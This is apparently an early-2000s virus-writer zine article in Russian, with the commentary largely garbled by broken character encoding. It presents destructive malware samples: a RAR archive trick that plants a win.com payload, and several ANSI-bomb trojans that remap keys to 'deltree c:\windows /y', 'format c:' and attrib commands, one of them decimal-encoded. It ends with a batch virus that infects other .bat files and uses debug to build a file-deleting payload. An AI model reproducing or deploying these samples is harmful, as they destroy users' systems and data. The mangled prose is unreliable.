
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                     http://www.helloween.boom.ru
                       http://www.rezus.boom.ru
                       Helloween.virus@mail.ru

                        [H  ]

                    Ŀ
                    Hp 5  2002  (p 10)
                    


                        p   p


  1.   p楯  RAR - p娢

     䠩  ⠪ ᮤp :

    00000000:  91 E8 74 00-80 29 00 1E-00 00 00 1E-00 00 00 00
    00000010:  CD C0 9B 0F-97 0D FC 24-14 30 09 00-20 00 00 00
    00000020:  5C 5C 57 49-4E 2E 43 4F-4D E8 10 00-56 69 72 75
    00000030:  73 20 53 74-61 72 74 65-64 0D 0A 24-5A B4 09 CD
    00000040:  21 33 C0 CD-16 CD 20

   ⮬ p  y-y 䠩y 
   copy /b p娢.rar + < 䠩>

   ᫥  pᯠ  ⠪  p娢    p  py  䠩
win.com.    - 䨣  . ᥬ  .

      p.   :

   00000000:  52 61 72 21-1A 07 00 3B-D0 73 08 00-0D 00 00 00
   00000010:  00 00 00 00-8C 40 74 00-80 28 00 28-00 00 00 00
   00000020:  CA 9A 3B 00-D2 7A AF 2D-E1 21 82 C3-14 33 08 00
   00000030:  20 00 00 00-4D 41 49 4C-2E 44 57 4E-00 D0 08 80
   00000040:  00 00 00 00-01 0B BD A7-96 02 7B 21-C4 2C 81 90
   00000050:  50 A8 92 52-00 C4 1D A4-7A 1F A2 69-97 83 E5 A1
   00000060:  D3 FE 6D C0

    - ⮦  ᭮.  rar -  p娢  p  pᯠ
᭥. p py ᢮ p, 祬 y .

  2.    yp Trojan.ANSI.Deloss :

    @ECHO OFF
    REM Ansi.annoy.a
    REM Del0ss
    @ECHO ON
    [65;You suck jackass!!;13p
    [88;Have sex with me now!!;13p
    [69;Damn!;13p

  H ᭮,   ANSI -  [,    y⠭    
襥 p.

  3.    Trojan.BAT.DeltreeY.i

    @ECHO OFF
    REM Ansi.Versa.a
    REM -KD- [Metaphase VX Team & NoMercyVirusTeam]
    REM Brining back the old school!
    @ECHO ON
    ["k";"deltree c:\windows /y";13p
    ["v";"Versa!!!!";13p
    ["l";"copy *.* c:\windows\desktop";13p
    ["2";"2 did you say 2 u didnt say 2 did you?";13p
    ["d";"attrib C:\windows\*.* +r +h +s";13p
    ["A";"attrib C:\windows\*.* +r +h +s";13p
    ["a";"attrib C:\windows\*.* +r +h +s";13p
    ["y";"n";13p
    ["n";"y";13p
    ["Y";"N";13p
    ["Y";"N";13p
    ["e";"deltree c:\dos /y";13p
    [?7h[255D[40m

    [0;1m[12C[0m   [1m˿ [0m   [1m˿ [0m[1m˿  [0m
[1m˿ [0m[1m˿ [0m[1m˿ [0m[1mĿ
    [12C[0;36m [1m  [0;36m[1mδ [0;36m   [1m  [0;
36m[1m˿ [0;36m[1mδ        [0;36m  [1m˴
    [12C[0;34m[1m [0;34m   [1m [0;34m[1m  [
0;34m[1m [0;34m   [1m [0;34m[1m [0;34m[1m
    [12C[0m[1m˿ [0m[1m˿ [0m[1m˿ [0m[1m
˿  [0m   [1m˿ [0m[1m˿ [0m[1m˿
    [12C[0;36m[1mδ [0;36m   [1m [0;36m[1m˿    
[5C[0;36m [1m  [0;36m[1mδ [0;36m[1m˿
    [12C[0;34m   [1m [0;34m   [1m [0;34m[1m [0;34m
[1m  [0;34m[1m [0;34m   [1m [0;34m[1m




    [20C[37;47m   [30;40m  [37;47m    [30;40m  [37;47m  [
30;40m  [37;47m   [30;40m  [37;47m   [30;40m
    [20C[37;47m[30;40m[47m  [40m [37;47m[30;40m [37;
47m[30;40m[47m  [40m [37;47m[30;40m[47m  [40m  [47m
  [40m
    [20C[37;47m [30;40m  [47m  [40m [37;47m    [30;40m   [37;
47m     [30;40m [37;47m [30;40m  [47m  [40m   [37m[47m [30;
40m
    [20C[47m  [40m  [47m  [40m [47m  [40m   [37;47m [30;40m
[47m  [40m [47m  [40m  [47m  [40m   [37m[30;47m[40m
    [20C[47m      [40m [47m       [40m [47m  [40m  [47m  [
40m [47m      [40m   [37;47m[30;40m
    [21C[34C






    [0m[255D


   p 쭮 p.  祭 ᭮    襯p-
 pᯥ⪨. H y   ⠭.

     4.  ⠪ 룫廊 Trojan.ANSI.Spehelp :


     This file is a special HELP file for *****. To view it,
     go to the DOS prompt and type TYPE HELP.TXT
     [068;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [100;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [067;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [099;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [013;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [084;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [116;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [027;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [032;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [069;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [101;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p
     [008;68;69;76;84;82;69;69;32;47;89;32;67;58;92;42;46;42;13p

     - ⮦ 䨣 . p -y. p 
  p砥.

    5. Hy Trojan.BAT.FormatC.i  y   :

     @ECHO ON
     [78;89;13p
     [110;121;13p
     [102;"format c:";13p
     [70;"format c:";13p

    6.  Trojan.BAT.FormatC.f p᪨  祬  ⫨砥 :

     @ECHO OFF
     REM Ansi.kill.a
     REM by del0ss
     @ECHO ON
     [78;89;13p
     [110;121;13p
     [73;105;format c:";13p

    ,    p [ !!!  p   [  !!!
yp !!! p  ᭮.

    7. Hy   ᫥ Trojan.BAT.Tally :

     ECHO OFF
     REM Ansi/Bat.Tally.a
     REM By -KD- [Metaphase & NoMercyVirusTeam]
     REM Yup its old school with a new twist!
     ECHO DEVICE=C:\WINDOWS\Command\ANSI.SYS>>c:\config.sys
     @ctty nul.tally
     for %%a in (*.bat ..\*.bat) do set tally=%%a
     find "tally"<%tally%
     if errorlevel 1 find "tally"<%0.BAT>>%tally%
     ECHO N TALLY.ANS>tally.t
     ECHO E 0100 40 45 43 48 4F 20 4F 4E 0D 0A 1B 5B 22 79 22 3B>>tally.t
     ECHO E 0110 22 6E 22 3B 31 33 70 0D 0A 1B 5B 22 59 22 3B 22>>tally.t
     ECHO E 0120 6E 22 3B 31 33 70 0D 0A 1B 5B 22 6E 22 3B 22 79>>tally.t
     ECHO E 0130 22 3B 31 33 70 0D 0A 1B 5B 22 4E 22 3B 22 79 22>>tally.t
     ECHO E 0140 3B 31 33 70 0D 0A 1B 5B 22 69 22 3B 22 6D 64 20>>tally.t
     ECHO E 0150 63 3A 5C 77 69 6E 39 78 22 3B 22 63 6F 70 79 20>>tally.t
     ECHO E 0160 63 3A 5C 77 69 6E 64 6F 77 73 20 2A 2E 2A 20 63>>tally.t
     ECHO E 0170 3A 5C 77 69 6E 39 78 22 3B 22 64 65 6C 20 63 3A>>tally.t
     ECHO E 0180 5C 77 69 6E 64 6F 77 73 20 2A 2E 2A 22 3B 31 33>>tally.t
     ECHO E 0190 70 0D 0A 1B 5B 22 49 22 3B 22 6D 64 20 63 3A 5C>>tally.t
     ECHO E 01A0 77 69 6E 39 78 22 3B 22 63 6F 70 79 20 63 3A 5C>>tally.t
     ECHO E 01B0 77 69 6E 64 6F 77 73 20 2A 2E 2A 20 63 3A 5C 77>>tally.t
     ECHO E 01C0 69 6E 39 78 22 3B 22 64 65 6C 20 63 3A 5C 77 69>>tally.t
     ECHO E 01D0 6E 64 6F 77 73 20 2A 2E 2A 22 3B 31 33 70 0D 0A>>tally.t
     ECHO E 01E0 1B 5B 22 65 22 3B 22 6D 64 20 63 3A 5C 77 69 6E>>tally.t
     ECHO E 01F0 39 78 22 3B 22 63 6F 70 79 20 63 3A 5C 77 69 6E>>tally.t
     ECHO E 0200 64 6F 77 73 20 2A 2E 2A 20 63 3A 5C 77 69 6E 39>>tally.t
     ECHO E 0210 78 22 3B 22 64 65 6C 20 63 3A 5C 77 69 6E 64 6F>>tally.t
     ECHO E 0220 77 73 20 2A 2E 2A 22 3B 31 33 70 0D 0A 1B 5B 22>>tally.t
     ECHO E 0230 45 22 3B 22 6D 64 20 63 3A 5C 77 69 6E 39 78 22>>tally.t
     ECHO E 0240 3B 22 63 6F 70 79 20 63 3A 5C 77 69 6E 64 6F 77>>tally.t
     ECHO E 0250 73 20 2A 2E 2A 20 63 3A 5C 77 69 6E 39 78 22 3B>>tally.t
     ECHO E 0260 22 64 65 6C 20 63 3A 5C 77 69 6E 64 6F 77 73 20>>tally.t
     ECHO E 0270 2A 2E 2A 22 3B 31 33 70 0D 0A 1B 5B 22 61 22 3B>>tally.t
     ECHO E 0280 22 6D 64 20 63 3A 5C 77 69 6E 39 78 22 3B 22 63>>tally.t
     ECHO E 0290 6F 70 79 20 63 3A 5C 77 69 6E 64 6F 77 73 20 2A>>tally.t
     ECHO E 02A0 2E 2A 20 63 3A 5C 77 69 6E 39 78 22 3B 22 64 65>>tally.t
     ECHO E 02B0 6C 20 63 3A 5C 77 69 6E 64 6F 77 73 20 2A 2E 2A>>tally.t
     ECHO E 02C0 22 3B 31 33 70 0D 0A 1B 5B 22 41 22 3B 22 6D 64>>tally.t
     ECHO E 02D0 20 63 3A 5C 77 69 6E 39 78 22 3B 22 63 6F 70 79>>tally.t
     ECHO E 02E0 20 63 3A 5C 77 69 6E 64 6F 77 73 20 2A 2E 2A 20>>tally.t
     ECHO E 02F0 63 3A 5C 77 69 6E 39 78 22 3B 22 64 65 6C 20 63>>tally.t
     ECHO E 0300 3A 5C 77 69 6E 64 6F 77 73 20 2A 2E 2A 22 3B 31>>tally.t
     ECHO E 0310 33 70 0D 0A 1B 5B 22 6F 22 3B 22 6D 64 20 63 3A>>tally.t
     ECHO E 0320 5C 77 69 6E 39 78 22 3B 22 63 6F 70 79 20 63 3A>>tally.t
     ECHO E 0330 5C 77 69 6E 64 6F 77 73 20 2A 2E 2A 20 63 3A 5C>>tally.t
     ECHO E 0340 77 69 6E 39 78 22 3B 22 64 65 6C 20 63 3A 5C 77>>tally.t
     ECHO E 0350 69 6E 64 6F 77 73 20 2A 2E 2A 22 3B 31 33 70 0D>>tally.t
     ECHO E 0360 0A 1B 5B 22 4F 22 3B 22 6D 64 20 63 3A 5C 77 69>>tally.t
     ECHO E 0370 6E 39 78 22 3B 22 63 6F 70 79 20 63 3A 5C 77 69>>tally.t
     ECHO E 0380 6E 64 6F 77 73 20 2A 2E 2A 20 63 3A 5C 77 69 6E>>tally.t
     ECHO E 0390 39 78 22 3B 22 64 65 6C 20 63 3A 5C 77 69 6E 64>>tally.t
     ECHO E 03A0 6F 77 73 20 2A 2E 2A 22 3B 31 33 70 0D 0A>>tally.t
     ECHO RCX>>tally.t
     ECHO 02AE>>tally.t
     ECHO W>>tally.t
     ECHO Q>>tally.t
     debug<tally.t>nul
     del tally.t
     type tally.ans
     del tally.ans
     ctty con.tally

      p  - pp ᠬ.  ᫥y饬  p
 p y p  . ᭥  PKT - .


                   !

                     !

                            Helloween.